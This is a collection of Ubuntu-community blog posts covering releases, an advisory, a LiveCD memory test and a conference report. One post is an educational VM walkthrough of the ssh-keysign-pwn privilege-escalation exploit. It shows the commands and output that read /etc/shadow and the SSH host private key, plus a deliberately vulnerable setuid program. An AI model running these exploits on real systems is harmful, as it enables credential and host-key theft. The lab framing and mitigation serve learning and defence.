sudo add-apt-repository ppa:byobu/ppa
sudo apt install trustmux

It's part of the Byobu project, so if you've already got Byobu (7+) installed, you're most of the way there.

Getting Started

Setup is three commands:

trustmux enable    # start at login (optional)
trustmux start     # fire up the daemon
trustmux pair      # generate a pairing URL and 6-digit code

Open the pairing URL on your phone, enter the code, tap "Add to Home Screen," and you're in.

On Security

I take this part seriously, given what's at stake — direct shell access to a workstation. This is exactly the kind of tool that deserves continued, public scrutiny, and I'd genuinely welcome additional expert eyes on it — particularly from people who think about authentication, certificate handling, and network exposure for a living.

Why I Built This

There's a part of this that's just personal. I like staying close to my shell — that's basically the whole premise of Byobu. As more of my work has started to involve long-running AI coding sessions, the gap between "what's happening on my workstation" and "what I can see on my phone" started to bother me. Trustmux closes that gap, on my terms, with a security model I trust.

If you run tmux or Byobu and have ever wanted to check on a session from the couch, the train, or the airport, I think you'll like this.

Try It

I'd love to hear what you think — what's missing, what's broken, what you'd want next. Feedback, issues, and pull requests are all welcome.

:-Dustin

]]> Dustin Kirkland Launchpad security advisory: Fix applied for unsafe tar file extraction vulnerability https://blog.launchpad.net/general/launchpad-security-advisory-fix-applied-for-unsafe-tar-file-extraction-vulnerability https://blog.launchpad.net/general/launchpad-security-advisory-fix-applied-for-unsafe-tar-file-extraction-vulnerability Fri, 19 Jun 2026 08:00:10 GMT We received a private report from a security researcher describing a vulnerability affecting Launchpad. The vulnerability involved the unsafe processing of tar files at build upload and custom upload. We investigated promptly and deployed a fix shortly after the report. The reporting party has confirmed the issue is no longer exploitable.

Following remediation, we completed additional review and monitoring. We found no evidence of malicious exploitation. No user action is required.

We are sharing this update as part of our ongoing commitment to transparency and security.

We thank splitline (@_splitline_) and the DEVCORE Research Team for privately reporting this issue.

]]> Launchpad News What’s happened? https://thepcspy.com/read/whats-happened/ https://thepcspy.com/read/whats-happened/ Fri, 12 Jun 2026 00:00:00 GMT Foreign money is interfering in UK elections again, but I can’t remember it ever being this obvious.

If you’re in the UK and you’ve been on The Site Previously Known as Twitter in the last few days, you’ve probably seen an advertisement featuring an AI depiction of Nigel Farage beating, strangling, mugging, shooting, and having his shoes licked by the Bank of England’s governor, Andrew Bailey. These all link through to a fake BBC News page that reports Farage is a big mean tough guy demanding the Bank does what he says.

I wouldn’t for a second suggest that Nigel or Reform are paying to make their weasel look tough, but someone is.

This morning, scrolling through my “Following” tab, I saw around 20 ads on this theme. These were all from foreign-held (India, Saudi, South African, Russian, Uganda, Viet Nam, etc) premium accounts that proclaim themselves “social media influencers”. They all post a couple of nature pictures, and then post these political adverts.

And this has been going on for nearly week.

If you’ve ever wondered what the dangers of a [practically] unmoderated platform in the hands of a billionaire “free-speech absolutist” could possibly be for your day-to-day life, here it is. Elon doesn’t appear to care who says what. Ads don’t appear to be vetted. As long as your bots pay their dues, and pay the ad fare, you can shove your dirty little opinions into the eyeballs of whomever you like.

Just as an echo chamber, X was dangerous, but it’s becoming clearer and clearer that it’s now just toxic to any democratic process. With so many bots on the platform, and so many real political campaigners pretending to be somewhere they’re not, the time when you can have an honest discussion has gone.

]]> Oli Warner Learning about exploits through the safety of Incus https://blog.simos.info/learning-about-exploits-through-the-safety-of-incus/ https://blog.simos.info/learning-about-exploits-through-the-safety-of-incus/ Wed, 20 May 2026 22:06:25 GMT The last few weeks have been quite busy with vulnerabilities that affect all sort of operating systems. It’s the age of AI, and AI tools help identify yet another class of security vulnerabilities. Several of those vulnerabilities are released while the updates are not ready yet. There exist mitigations though, and it’s important to do the mitigations until the package updates are ready.

We are looking into the ssh-keysign-pwn security vulnerability. Here, a unprivileged process can debug (ptrace) a privileged child process, and in doing so, can exploit a situation where the parent gets access to the file descriptor of a file that was opened by that privileged child process. It’s a timing attack, which means that the exploit has to try it many times until the conditions are right to get hold of the file descriptor. The vulnerability lies in the Linux kernel, therefore, you are watching for a Linux kernel update to fix this.

The setup

Let’s give it a go. We are launching an Ubuntu VM, get a shell in there, clone the exploit repository, install the dependencies and compile. This type of vulnerability can safely run in a virtual machine and does not affect the host. 

$ incus launch --vm images:ubuntu/24.04/cloud security-sshkeysignpwn
Launching security-sshkeysignpwn
$ incus exec security-sshkeysignpwn -- su -l ubuntu
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@security-sshkeysignpwn:~$ sudo apt install -y git build-essential
...
ubuntu@security-sshkeysignpwn:~$ git clone https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn
Cloning into 'ssh-keysign-pwn'...
remote: Enumerating objects: 14, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 14 (delta 3), reused 11 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (14/14), 2.34 MiB | 6.03 MiB/s, done.
Resolving deltas: 100% (3/3), done.
ubuntu@security-sshkeysignpwn:~$ cd ssh-keysign-pwn/
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ make
cc -O2 -Wall -o sshkeysign_pwn sshkeysign_pwn.c
cc -O2 -Wall -o chage_pwn chage_pwn.c
cc -O2 -Wall -o vuln_target vuln_target.c
cc -O2 -Wall -o exploit_vuln_target exploit_vuln_target.c
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ ls
chage_pwn  chage_pwn.c  demo.gif  demo.mp4  exploit_vuln_target  exploit_vuln_target.c  Makefile  README.md  sshkeysign_pwn  sshkeysign_pwn.c  vuln_target  vuln_target.c
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

The exploitation

The binaries chage_pwn and sshkeysign_pwn work on existing privileged (SUID) binaries on a typical Linux distribution. Whereas exploit_vuln_target is an educational exploit that works on a simplified vulnerable program (also provided) to demonstrate the issue. We look into all three.

chage_pwn

Here is chage, a SUID program (note the s), which has been setup to allow access to the /etc/shadow file that holds all the passwords. The purpose of this program is to show or change the age of passwords. That file, /etc/shadow is not readable by common users. 

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ ls -l /bin/chage 
-rwxr-sr-x 1 root shadow 72184 May 30  2024 /bin/chage
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

When you run chage without any parameters, the program will exit, without attempting to open the /etc/shadow file. That’s not so useful.

However, when you use the -l parameter, the program reads the /etc/shadow file and there’s a very short window where the file descriptor is exposed to a malicious parent process (chage_pwn in this case). Here we have asked chage to show the age information for the root account. We are not even supposed to read the age information of another account, therefore we get a Permission denied error and the program exits. However, inside chage, the /etc/shadow file has been opened! It does not matter that we have asked to show the age information for a privileged account; for the sake of the exploit we could well have asked to view the age information of the ubuntu user, which we are able to do.

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ chage -l root
chage: Permission denied.
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

And now the output of the chage_pwn exploit. We are running it over the default username, which is root. If we omitted here the username, the exploit would use that username. It takes several tens of seconds for the exploit to work. In this run, it worked on round 16 and on try 112.

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ ./chage_pwn root
fd 6 -> /etc/shadow (round=16 try=112)
root:*:20591:0:99999:7:::
daemon:*:20591:0:99999:7:::
bin:*:20591:0:99999:7:::
sys:*:20591:0:99999:7:::
...
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

Same thing with another account. For some reason it takes longer, about a minute or so. More rounds and more tries. 

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ ./chage_pwn ubuntu
fd 6 -> /etc/shadow (round=247 try=86)
root:*:20591:0:99999:7:::
daemon:*:20591:0:99999:7:::
bin:*:20591:0:99999:7:::
sys:*:20591:0:99999:7:::
sync:*:20591:0:99999:7:::
...
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

Ubuntu systems use sudo, which means that by default the accounts don’t have a particular password; they are all locked. Some users would set a password, and in such a case, the password would be compromised.

sshkeysign_pwn

This one will read the file /etc/ssh/ssh_host_ecdsa_key, which is not readable by unprivileged users. 

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ ls -l /etc/ssh/ssh_host_ecdsa_key
-rw------- 1 root root 525 May 20 20:38 /etc/ssh/ssh_host_ecdsa_key
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

The privileged application (SUID) is `/usr/lib/openssh/ssh-keysign`. When it runs, it runs as the owner of the file, that is, as root.

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ ls -l /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 342632 Apr 28 00:29 /usr/lib/openssh/ssh-keysign
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

Let’s run it. It just prints a message and exits. However, it has opened the host key file, and there was a slim window of opportunity for a parent process to get access to that file descriptor. 

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ /usr/lib/openssh/ssh-keysign
ssh-keysign not enabled in /etc/ssh/ssh_config
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

Let’s run it. The output appears in about ten to twenty seconds. This is the host key of the virtual machine, and it’s unreadable by unprivileged users. 

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ ./sshkeysign_pwn 
uid=1000  target=/usr/lib/openssh/ssh-keysign
fd 4 -> /etc/ssh/ssh_host_ecdsa_key (round=33 try=212)
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
...
dHktc3Noa2V5c2lnbnB3bgECAwQ=
-----END OPENSSH PRIVATE KEY-----
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

If a malicious user managed to read the host key and happen to have access to the network, they can perform man-in-the-middle attacks against network connections to this host.

exploit_vuln_target

This educational exploit works on a vulnerable SUID application that is also provided. It’s the file vuln_target.c. It opens the (normally) unreadable file /etc/shadow and does not bother closing it. It even calls pause(), which will pause the vulnerable target until a Unix signal is received. This makes it so easy to exploit. 

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ cat vuln_target.c 
/* Setuid target that opens /etc/shadow before dropping. Install as
 * setuid root; exploit with exploit_vuln_target.c. */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }

	if (setuid(getuid()) < 0) { perror("setuid"); return 1; }

	if (argc > 1 && !strcmp(argv[1], "exit-now"))
		return 0;
	pause();
	return 0;
}
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

After compilation, it has to be installed as SUID and owned by root.

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ sudo install -m 4755 vuln_target /usr/local/bin/vuln_target
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ ls -l /usr/local/bin/vuln_target 
-rwsr-xr-x 1 root root 16216 May 20 21:35 /usr/local/bin/vuln_target
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

Finally, we run the exploit. It shows the message alive: EPERM on fd 3. It worked half-way. It should show the contents of /etc/shadow but it does not. 

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ ./exploit_vuln_target /usr/local/bin/vuln_target 
alive: EPERM on fd 3
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

Apparently, there is a timing issue and in the exploit code there is a hard-coded delay. If you change the delay (i.e. reduce it), you can get it to work. 

ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ ./exploit_vuln_target /usr/local/bin/vuln_target 
alive: EPERM on fd 3
fd 3 -> /etc/shadow (try 8)
root:*:20591:0:99999:7:::
daemon:*:20591:0:99999:7:::
bin:*:20591:0:99999:7:::
sys:*:20591:0:99999:7:::
sync:*:20591:0:99999:7:::
...
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$

Mitigation

A mitigation is to disable the ability to debug/trace. Either only allow to power users or disable it for all. See https://ubuntu.com/blog/ssh-keysign-pwn-linux-vulnerability-fixes-available for the details.

Conclusion

Apparently, such issues are bound to appear more often. They require mitigations, apply the updated packages when they are ready, and then remove the mitigations. This is a Local Privilege Escalation (LPE) security vulnerability, which means that it affects vulnerable systems when a malicious user already has access to that system.

]]> Simos Xenitellis 2026 LiveCD Memory Usage Compare https://bryanquigley.com/posts/memory-usage/2026-livecd-memory-usage-compare.html https://bryanquigley.com/posts/memory-usage/2026-livecd-memory-usage-compare.html Mon, 11 May 2026 00:54:00 GMT I am using pretty much the exact same setup I did in 2024. Let's see who is more efficient in a live session!

But first let's take a look at the image sizes:

Image size (in GB)00112233445566776.156.42809364548495317.67054655870454.978.20735785953177358.2069838056683.999.9866220735786391.98734817813774.8121.76588628762542361.5850202429153.7143.54515050167223398.743421052631564165.3244147157191388.60931174089075.3187.1036789297659344.694838056680175.3208.8829431438127344.694838056680175.2230.66220735785956348.07287449392715252.44147157190636354.828947368421044.4274.22073578595325375.097165991902844.1296.0385.231275303643773.9317.77926421404686391.98734817813773.7339.5585284280937398.743421052631563.5361.33779264214047405.49949392712552.9383.11705685618733425.76771255060737.6404.8963210702342267.02.7426.67558528428094432.52378542510122.3448.4548494983278446.03593117408912.5470.23411371237466439.279858299595163.2492.0133779264215415.63360323886643513.7926421404683422.389676113360342.9535.5719063545151425.7677125506073Image size (in GB)UbuntuXubuntuUbuntu BudgieKubuntuLubuntuUbuntu UnityUbuntu CinnamonManjaro KDEManjaro GnomeManjaro XFCEDebian KDE Tes…Debian KDE TestingDebian Gnome T…Debian Gnome TestingDebian XFCE Te…Debian XFCE TestingZorin OSEndeavourOS Ti…EndeavourOS Titan NeoCachyos 260426Bazzite nvidia…Bazzite nvidia open stableFedora Worksta…Fedora WorkstationFedora SwayFedora KDE Mob…Fedora KDE MobileFedora KDEFedora COSMICFedora Budgie

Round 1 - Basic Bootup

Requirements: Trying each image with 1.5 GB. Had a 3 minute timer going on each boot so I didn't let it take forever. I mostly did not test twice, so your results may vary.

  • Ubuntu - Boots, not responsive. Out.
  • Xubuntu - Boots and browser opens slowly.
  • Ubuntu Budgie - Boots to Ubuntu welcome and Budgie welcome. Having both makes it very laggy to start. Eventually a terminal opens, but menu doesn't. Borderline but Out.
  • Kubuntu - Fails to boot. Out.
  • Lubuntu - Responsive and fast as expected. Easy pass.
  • Ubuntu Unity - Boots in 2 minutes but becomes unstable. Out.
  • Ubuntu Cinnamon -Boots OK, Menu loads slowly. Doesn't launch anything. Out.
  • Manjaro KDE - Boots to desktop (pretty background!), but not responsive after. Out.
  • Manjaro Gnome - Seems responsive for a bit (but without icons) but then stops. Out.
  • Manjaro XFCE - Boots and responsive.
  • Debian KDE Testing - Gets a mouse instantly and then just a background. Out.
  • Debian Gnome Testing - Almost responsive enough, but couldn't launch anything. Out.
  • Debian XFCE Testing - Boots and responsive.
  • Zorin OS - Gives an error message "Something has gone wrong". That's a level of polish we don't have on other Linuxes. Out.
  • EndeavourOS Titan Neo - Boots, not responsive. Out.
  • CachyOS 260426 - Bit laggy, but can launch apps.
  • Bazzite nvidia open stable - Boots with 1.5GB but not enough to lauch Firefox. Also warns that it's way too little memory!
  • Fedora Workstation - Gets to desktop and can do a bit of moving, but not enough to use. Out.
  • Fedora Sway - Responsive.
  • Fedora KDE Mobile - Gives wizard but doesn't finish booting. Out.
  • Fedora KDE - Fails to boot. Out.
  • Fedora COSMIC - Boots but not reponsive enough. Out.
  • Fedora Budgie - Responsive.

So let's cover some of the ones that are out in slightly more detail.

5 Min reviews of some who didn't pass to the next round

Zorin OS - 5 min Review

  • Software: Brave (web browser). Gnome Software, Linux 6.17. Based on Ubuntu.
  • LibreOffice is configured to use the Ribbon which is likely better for recent converts.
  • They still have Brasero for CD/DVD Burning
  • They have both Snap and Flatpak installed - but no apps using each - Flatpak has a bunch of their themes though.
  • Zorin Appearance does make it easier to switch desktop UI "models"

I'm always interested in new linux distro business models. It's not really targetted at me, but nice to see it out there.

Endeavour OS

"A terminal-centric system ready to personalize." Opposite target users as above.

  • Software: KDE as default desktop with Firefox browser. Linux 6.19
  • No GUI for App installing. Neither Snap or Flatpak preinstalled. Based on Arch.
  • GUI app for rsync.
  • Transparency on by default which I don't personally like.

Fedora KDE Mobile

Gives you a wizard to go through to setup for your device. Designed for touch.

Does come with 2 browsers - Firefox and Angelfish (a browser designed for mobile).

It's very clear this is not ideal to demo on a desktop with no touchscreen.

Round 2 - Web browser

Requirements: Can we start and run a web browser and load a website in those 3 minutes with 1.5GB, without much lag. If possible watch the first 20 seconds of WING IT! Blender Open Movie from wikipedia commons.

  • Xubuntu - Out. Just barely able to load a site. Not responsive.
  • Lubuntu - Web browser is actually quite laggy. Video is able to play, but barely.
  • Manjaro XFCE - Very slow. Eventually browser and session died.
  • Debian XFCE Testing - Boots and responsive. Firefox ESR 140. Movie plays fine.
  • CachyOS 260426 - Can't load Firefox.
  • Bazzite Nvidia open stable - Can't load Firefox.
  • Fedora Sway - Boots and responsive. Firefox 150. Movie plays fine.
  • Fedora Budgie - A bit unresponsive but does play movie OK.

Round 3 - File Manager

Requirements : 1 GB of memory. Must fully load the background. Has 30 seconds to load file manager after reaching desktop. Must be smooth opening it.

  • Xubuntu - Fails
  • Lubuntu - Passes, Smooth.
  • Manjaro XFCE - Fails with part of the intro screen.
  • Debian XFCE Testing - Fails with Panic.
  • Cachyos 260426 - Fails with Intro message.
  • Bazzite nvidia open stable - Fails with message alerting user to low memory!
  • Fedora Sway - Passes. Smooth.
  • Fedora Budgie - Not smooth.

Round 4 - Breaking Point

Requirements: Same as above except we reduce the memory amount in 0.05G increments.

Memory usage compared (in G)000.10.10.20.20.30.30.40.40.50.50.60.60.70.70.80.8LubuntuFedora Sway0.65179.12949759384145292.72087718659975Lubuntu0.85510.8507894342886238.71333527025294Fedora SwayMemory usage compared (in G)Desktop responsive to Folder

Conclusion

  • Lubuntu still wins even with a bigger comparison base, but minimum memory has increased.
  • All Ubuntu image sizes seem up a good amount.
  • Zorin and Bazzite provide much more user friendly error messages when things go wrong. Other distros can learn from this to make a better user experience.

Notes:

  • qemu-system-x86_64 -enable-kvm -bios /usr/share/ovmf/OVMF.fd -cdrom bazzite-nvidia-open-stable-live-amd64.iso -m 1.5G -smp 4 -cpu host -vga virtio --full-screen
  • Full screen video apparently is an intensive task. Dropped testing that.
  • Just picked the 3 testing debian that they promote on the main page.
  • Fedora offers many spins. As a gauge for popularity I'm picking the 5 also available as an Immutable desktop. But I'm not testing those :) as they aren't liveCDs. I'm adding back in KDE Mobile cause I wanted to try it.
  • Manjaro has Full or Minimal Images available. Must use full to get full browser.
  • Bazzite has KDE and Gnome - just picking KDE with modern Nvidia driver (realized later that makes no sense, but oh well).
  • I might test the next version of PopOS and AnduinOS (and others) as they update to the latest Ubuntu base.
  • Ubuntu Mate no release https://discourse.ubuntu.com/t/ubuntu-mate-seeking-maintainers/79264
  • Linux Mint changing release cycle to do newer release around Christmas. (Already reviewed base set 2 years ago)
  • Ubuntu version was 26.04. Fedora was 44.
]]> Bryan Quigley Ubuntu Studio’s New Home: What’s Changing and Why https://ubuntustudio.org/2026/05/ubuntu-studios-new-home-whats-changing-and-why/ https://ubuntustudio.org/2026/05/ubuntu-studios-new-home-whats-changing-and-why/ Sun, 10 May 2026 02:25:40 GMT
Homepage of Ubuntu Studio showcasing a content creation studio with various creative tools including musical instruments, a camera, and editing software elements.

Ubuntu Studio’s web presence has been spread across several Canonical-hosted systems for a long time: the main website on an old Canonical web server, the Ubuntu Community Help Wiki at help.ubuntu.com/community/UbuntuStudio, and the Ubuntu Developer Wiki at wiki.ubuntu.com/UbuntuStudio. Those platforms served their purpose, but each had become a poor fit for how the project actually works today.

What’s Moving

The main Ubuntu Studio website has already moved away from Canonical hosting and onto its current home. That move was driven by necessity: Canonical shut down the old web server that had hosted the site, so Ubuntu Studio needed a new home for its primary web presence. This has been a mostly transparent process and most users would never have noticed a difference.

Screenshot of the Ubuntu Studio Community Help page, featuring sections for user and developer wikis, support information, and links to contributions and resources.

The Community Help Wiki — the place where users have always gone to find answers about audio configuration, hardware support, the Audio Handbook, and getting started with Ubuntu Studio — is being mirrored and maintained directly on ubuntustudio.org at /help/. Every page you’re used to is coming with us: the Pro Audio Intro, the Ubuntu Studio Audio Handbook and all its chapters, the FAQ, hardware support information, terminal basics, troubleshooting guides, and community information. Most of this is outdated now, and we need help to bring it up to modernization.

Screenshot of the Ubuntu Studio developer wiki homepage featuring navigation links, a welcome message, and information about the Ubuntu Studio project and community.

The Developer Wiki — home to the team’s internal processes, release planning, testing documentation, artwork resources, and packaging and development notes — is moving to ubuntustudio.org at /wiki/. The full section structure is preserved: Testing, PR & Support, Artwork, Packaging/Development, Documentation, and Organization are all there. This information is also outdated.

Why Now

The website move and the wiki move do not have exactly the same origin.

For the main website, the trigger was straightforward: Canonical shut down the old web server that hosted it. Ubuntu Studio had to move the site in order to keep a public home on the web.

For the help and developer wikis, the issue was the editing experience and maintenance burden. The old MoinMoin-based wiki workflow is cumbersome, slow, and awkward to work with. Its markup is not standard Markdown, which makes editing, reviewing, and migrating content more difficult than it should be. Over time, that friction made it harder to keep pages current, fix outdated instructions, and encourage casual contributors to improve documentation.

Meanwhile, ubuntustudio.org has been running on WordPress for some time, and the team has been using GitHub for development work. By routing our documentation through a GitHub repository — using the Git it Write plugin to publish markdown directly to WordPress — we get something we’ve never really had before: a documentation workflow that fits naturally alongside our other development work. Pull requests, issue tracking, version history, and a low barrier to entry for new contributors all come with it.

What This Means for Contributors

If you’ve ever wanted to fix something on the old wiki and been put off by the process, this is your opening. The content lives in a public GitHub repository. Find the file, fix the text, open a pull request. That’s it.

The content is organized into buckets that map to the old wiki structure:

  • help/content/support/ — support pages (FAQ, hardware, audio configuration, etc.)
  • help/content/handbook/ — the Audio Handbook and Pro Audio Intro
  • help/content/community/ — IRC, mailing lists, joining the team
  • help/content/reference/ — resources, links, wiki guide
  • wiki/content/ubuntu-studio/ — developer wiki pages

If you’re editing a page that has outdated information, and there’s plenty of it, particularly around the old PulseAudio/JACK workflow that predates PipeWire — this is the place to update it.

What Isn’t Changing

The old wiki pages at help.ubuntu.com and wiki.ubuntu.com aren’t going anywhere immediately. Canonical maintains those as part of Ubuntu infrastructure, and they’ll continue to exist. Our goal isn’t to break any existing bookmarks or search results, it’s to have a home where we can keep things current.

We’re also not rewriting the documentation wholesale. The content of the mirrored pages is as faithful to the originals as it can be, with updates where the old guidance referred to software or workflows that no longer apply to current Ubuntu Studio releases.

Where to Find Everything

If you find something wrong, missing, or out of date — open a pull request, or file an issue and let the team know.

]]> Ubuntu Studio Lubuntu 26.04 LTS Released! https://lubuntu.me/lubuntu-26-04-lts-released/ https://lubuntu.me/lubuntu-26-04-lts-released/ Thu, 23 Apr 2026 14:56:36 GMT Lubuntu Blog Quote #75514 https://mako.cc/copyrighteous/quote-75514 https://mako.cc/copyrighteous/quote-75514 Tue, 31 Mar 2026 21:13:00 GMT Although I never submitted to it, I made several appearances in the now-defunct quote database on bash.org (QDB). I’m dealing with a broken keyboard now, and went to dig hard to find this classic in the Wayback machine. I thought I would put it back on the web:

<mako> my letter "eye" stopped worng
<luca> k, too?
<mako> yeah
<luca> sounds like a mountain dew spill
<mako> and comma
<mako> those three
<mako> ths s horrble
<luca> tme for a new eyboard
<luca> 've successfully taen my eyboard apart and fxed t by cleanng t wth alcohol
<mako> stop mang fun of me
<mako> ths s a laptop!

It was, in fact, horrble.

]]> Benjamin Mako Hill SCaLE 23x https://princessleia.com/journal/2026/03/scale-23x/ https://princessleia.com/journal/2026/03/scale-23x/ Mon, 16 Mar 2026 20:47:36 GMT Last week I had the pleasure of attending SCaLE 23x in Pasadena, California. I love SCaLE, it’s probably my favorite conference. It’s big, but it still feels so local, and I always walk away having met new, exceptional people, and with the warmth of connection I feel from seeing some of my closest friends in the open source world. The weather is almost always gorgeous around this time of year, and there are a ton of places that are easy to walk to for lunch and dinner. My arrival ritual these days it taking a walk south to the Whole Foods nearby to pick up some breakfast foods and coffees to enjoy each morning before the conference kicks off at 10AM. 10AM! What a glorious time to start!

The flight down from San Francisco was a quick regional flight into Burbank, my go-to airport for this conference so I can avoid LAX. And then I spent Wednesday evening getting settled in and putting some finishing touches on my talk based on some feedback I had requested from some community members working on projects I had an interesting in learning about.

Thursday is when the magic began! I spent the morning picking up my badge and immediately seeing several familiar faces. It didn’t take long to meet up long time friends from our time in the Ubuntu community Jorge and Amber, and we all went out to lunch.

Talk-wise on Thursday I found myself attending several AI talks as part of the Kwaai Summit.

So, AI. We are in the middle of an AI revolution in the tech industry and things are moving fast. A year ago a lot of the AI being used in tech was being marketed as helpers for developers. At SCaLE I heard someone suggest that we treat AI like a junior developer. We’re now replacing junior developers. But I had an experience over the holidays where I was in the trenches with code these “AI junior developers” were spitting out, and it needs a lot of guidance. Without that, the code, documentation, and even commit messages can come out nonsensical and solving things in way that is not “clever”, they legitimately don’t make sense when viewed in the correct context. It also took away the thoughtful collaboration that I love of development: How do we solve this? Can you explain what I’m reviewing? Why did you make this decision? When you’re met with a series of shrugs and a finger pointed at the AI, the job of thinking ends up solely on the person reviewing the change, and that means more experienced developers doing the reviews are being buried in AI slop code.

The technology will get better, and I anticipate an absolute decimation of our industry job-wise. I’m not exempt from this. Plus, there are real environmental concerns about power consumption and resources being used to build out all the data centers to implement these AI solutions, and I worry that it will be painful for our society in a way that may not be ethical. But we aren’t going back, that’s not how technology works in our world.

Add in that so much of this space is flush with more money than the world has ever seen, and decisions driven by greed and a horrifying lack of consideration for humanity seem to winning.

So, why did I run off on this terrifying, negative AI rant? I wanted to share what head space I was in when I walked into SCaLE. I’ve used AI tooling, and I’m constantly learning, but I’m deeply worried about it.

Thankfully, there are still good people doing good things in AI and some of those people were speaking at SCaLE.

As I strolled into the Kwaai Summit it was refreshing to be reminded of some of the more optimistic views of AI, and how success doesn’t necessarily have to follow the money. AI can be used in ways that benefit us all. There are tedious tasks and “impossible” problems that are starting to be solved by AI. Can I actually get a good handle on a big chunk of open source projects on GitHub supporting s390x? Possibly! Can we finally cure some of the most dangerous forms of cancer? Maybe! And there are people building communities around things like Beneficial General Intelligence (BGI, a play on AGI, the Artificial General Intelligence that tends to be the holy grail of AI) where things like ethics and sustainability are considered. These are my people. These are the people who built the first online social networks and open source projects. This is the messaging that I found so inspiring when I first got into open source software and what made me so fully devote my life’s work to it. It was nice to be there.

On Friday I attended Guinevere Saenger’s talk on building out developer infrastructures, which brought up a lot of points one might not necessarily think about when doing so. From there I went to Jon “maddog” Hall’s talk on “Open Source In Computer Higher Education – Past, Present and Future” which was definitely a highlight for me. I don’t need to learn how to teach computer science in higher education, but I do love hearing whatever he has to talk about because he has so many wonderful stories. He took us on a tour of this career with an eye toward education, dropping references from everything to the IBM System/360 to learning assembly from difficult text books that he read solo and then went on to teach. He’s a strong proponent for learning topics deeply, and teaching students to learn how to learn so they can thrive in an industry that requires continuous learning. We’re all in agreement there.

That evening I joined a bunch of folks from The Software Freedom Conservancy for dinner and software freedom discussions. It was a lovely evening and I had the pleasure of meeting some new people, including a fellow from Oakland Privacy who told me about the StrayCap Multispace in Hayward that I’ll have to check out some time soon!

I’ve supported the Conservancy for many years, and have known several of their staff for even longer. Need a free software license violation acted upon? This is the group that does that. They get a remarkable amount done with the staff and budget they have, and I’m incredibly grateful for that. Please consider donating.

The keynote from Cindy Cohn, Executive Director of the EFF, on Saturday morning was wonderful. I’ve been a supporter of of the EFF for years, and am closely aligned with most of their views. It was fascinating to hear about her work in this space, and the fundamental protections that she’s worked to help pioneering technologists secure over the years. I vaguely knew that encryption was restricted by the US government in the earliest days of the internet, but I didn’t realize it was classified as munitions which ultimately meant that encryption algorithms couldn’t be shared and collaborated on online. Wow. Could you imagine the internet without encryption? Our world? Cindy, with an army of early free software hackers, argued in federal court in San Francisco and for over a decade beyond that to make sure encryption was freed from this classification. This story was the first of three that she dives into in her new book Privacy’s Defender: My Thirty-Year Fight Against Digital Surveillance which I promptly pre-ordered. Her call to action to us hackers today was to stay engaged in this fight so that we show up for all the future legal battles that have the potential to threaten the future of our world and lives with regard to digital freedom. I had the pleasure of running into her later in the conference to thank her for her talk, and I had the presence of mind to pull out a piece of paper to have her sign so I could put it in my book when it arrives; I’ll have a signed copy, kind of! Then I went to the EFF booth to do my annual contribution.

After the keynote I was able to meet up with Kaitlyn Davis, a new colleague at IBM who joined us from HashiCorp and I just started working with a couple weeks ago. She happens to live in southern California! So I made the case for her to come out to SCALE. She has some really helpful ideas around leveraging AI for open source contribution tracking and so we were able to sit down for about an hour and chat about IBM in general and drill down into some of the problems I’ve been focused on to see where she wants to jump in. It’s not every day that I have the pleasure of working with someone like her, so I’m really eager to see what we come up with together in the coming months. See? I’m not negative on all uses of AI.

From there, it was time for my talk on Open Source in Closed Ecosystems. Originally I was planning on just drawing from my experience in the mainframe world, but after a chat with John Mertic of The Open Mainframe Project I was convinced to draw from a broader pool of expertise and to look into Automotive and Motion Picture industry use cases. I was fortunate that Alison Chaiken of Automotive Grade Linux (AGL) and Emily Olin who has worked on both AGL and the Academy Software Foundation (ASWF) were able to get back to me quickly regarding questions I had about the initiatives. I was also thankful to get time with Nithya Ruff whose expertise in running open source software programs across the industry has been incredibly valuable to my own work, and the broader community through her extensive work in the community of the years, and direct contributions to the TODO Group.

The talk had some rough edges flow-wise, and I’d like to flesh it out with more examples and talk to more people in industries where open source hasn’t taken a firm hold yet to see what barriers they’re encountering in their organizations. But I had some great conversations after my talk and I think it generally went well. Slides from the talk are available here: /presentations/2026/Open_Source_in_Closed_Ecosystems_-_SCALE_23x.pdf (1.3M pdf)

